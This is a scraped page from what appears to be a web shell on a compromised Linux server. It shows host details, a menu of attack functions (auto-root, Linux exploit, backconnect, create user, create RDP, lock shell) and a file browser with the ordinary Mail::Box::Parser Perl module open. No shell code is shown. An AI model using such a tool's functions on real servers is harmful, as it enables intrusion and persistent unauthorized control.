Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Box /
[ HOME SHELL ]
Name
Size
Permission
Action
Dir
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Locker
[ DIR ]
drwxr-xr-x
MH
[ DIR ]
drwxr-xr-x
Maildir
[ DIR ]
drwxr-xr-x
Manage
[ DIR ]
drwxr-xr-x
Mbox
[ DIR ]
drwxr-xr-x
Message
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Parser
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Collection.pm
1.81
KB
-rw-r--r--
Collection.pod
8.81
KB
-rw-r--r--
Dir.pm
3.03
KB
-rw-r--r--
Dir.pod
14.62
KB
-rw-r--r--
FastScalar.pm
4.13
KB
-rw-r--r--
FastScalar.pod
969
B
-rw-r--r--
File.pm
13.08
KB
-rw-r--r--
File.pod
21.55
KB
-rw-r--r--
Identity.pm
5.66
KB
-rw-r--r--
Identity.pod
12.12
KB
-rw-r--r--
Locker.pm
3.3
KB
-rw-r--r--
Locker.pod
8.57
KB
-rw-r--r--
MH.pm
11.23
KB
-rw-r--r--
MH.pod
19.9
KB
-rw-r--r--
Maildir.pm
10.3
KB
-rw-r--r--
Maildir.pod
17.54
KB
-rw-r--r--
Manager.pm
15.14
KB
-rw-r--r--
Manager.pod
21.18
KB
-rw-r--r--
Mbox.pm
5.72
KB
-rw-r--r--
Mbox.pod
19.23
KB
-rw-r--r--
Message.pm
2.6
KB
-rw-r--r--
Message.pod
17.92
KB
-rw-r--r--
Net.pm
2.55
KB
-rw-r--r--
Net.pod
13.55
KB
-rw-r--r--
Parser.pm
3.77
KB
-rw-r--r--
Parser.pod
10.76
KB
-rw-r--r--
Search.pm
5.06
KB
-rw-r--r--
Search.pod
9.12
KB
-rw-r--r--
Test.pm
8.36
KB
-rw-r--r--
Tie.pm
923
B
-rw-r--r--
Tie.pod
1.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Parser.pm
# Copyrights 2001-2022 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.03. # This code is part of distribution Mail-Message. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Box::Parser; use vars '$VERSION'; $VERSION = '3.012'; use base 'Mail::Reporter'; use strict; use warnings; use Carp; sub new(@) { my $class = shift; $class eq __PACKAGE__ ? $class->defaultParserType->new(@_) # bootstrap right parser : $class->SUPER::new(@_); } sub init(@) { my ($self, $args) = @_; #warn "PARSER type=".ref $self,$self->VERSION; $self->SUPER::init($args); $self->{MBP_mode} = $args->{mode} || 'r'; unless($self->{MBP_filename} = $args->{filename} || ref $args->{file}) { $self->log(ERROR => "Filename or handle required to create a parser."); return; } $self->start(file => $args->{file}); } #------------------------------------------ sub start(@) { my $self = shift; my %args = (@_, filename => $self->filename, mode => $self->{MBP_mode}); $self->openFile(\%args) or return; $self->takeFileInfo; $self->log(PROGRESS => "Opened folder $args{filename} to be parsed"); $self; } #------------------------------------------ sub stop() { my $self = shift; my $filename = $self->filename; # $self->log(WARNING => "File $filename changed during access.") # if $self->fileChanged; $self->log(NOTICE => "Close parser for file $filename"); $self->closeFile; } sub restart() { my $self = shift; my $filename = $self->filename; $self->closeFile; $self->openFile( {filename => $filename, mode => $self->{MBP_mode}} ) or return; $self->takeFileInfo; $self->log(NOTICE => "Restarted parser for file $filename"); $self; } sub fileChanged() { my $self = shift; my ($size, $mtime) = (stat $self->filename)[7,9]; return 0 if !defined $size || !defined $mtime; $size != $self->{MBP_size} || $mtime != $self->{MBP_mtime}; } sub filename() {shift->{MBP_filename}} #------------------------------------------ sub filePosition(;$) {shift->NotImplemented} sub pushSeparator($) {shift->notImplemented} sub popSeparator($) {shift->notImplemented} sub readSeparator($) {shift->notImplemented} sub readHeader() {shift->notImplemented} sub bodyAsString() {shift->notImplemented} sub bodyAsList() {shift->notImplemented} sub bodyAsFile() {shift->notImplemented} sub bodyDelayed() {shift->notImplemented} sub lineSeparator() {shift->{MBP_linesep}} #------------------------------------------ sub openFile(@) {shift->notImplemented} sub closeFile(@) {shift->notImplemented} sub takeFileInfo() { my $self = shift; @$self{ qw/MBP_size MBP_mtime/ } = (stat $self->filename)[7,9]; } my $parser_type; sub defaultParserType(;$) { my $class = shift; # Select the parser manually? if(@_) { $parser_type = shift; return $parser_type if $parser_type->isa( __PACKAGE__ ); confess "Parser $parser_type does not extend " . __PACKAGE__ . "\n"; } # Already determined which parser we want? return $parser_type if $parser_type; # Try to use C-based parser. eval 'require Mail::Box::Parser::C'; #warn "C-PARSER errors $@\n" if $@; return $parser_type = 'Mail::Box::Parser::C' unless $@; # Fall-back on Perl-based parser. require Mail::Box::Parser::Perl; $parser_type = 'Mail::Box::Parser::Perl'; } #------------------------------------------ sub DESTROY { my $self = shift; $self->stop; $self->SUPER::DESTROY; } 1;
Close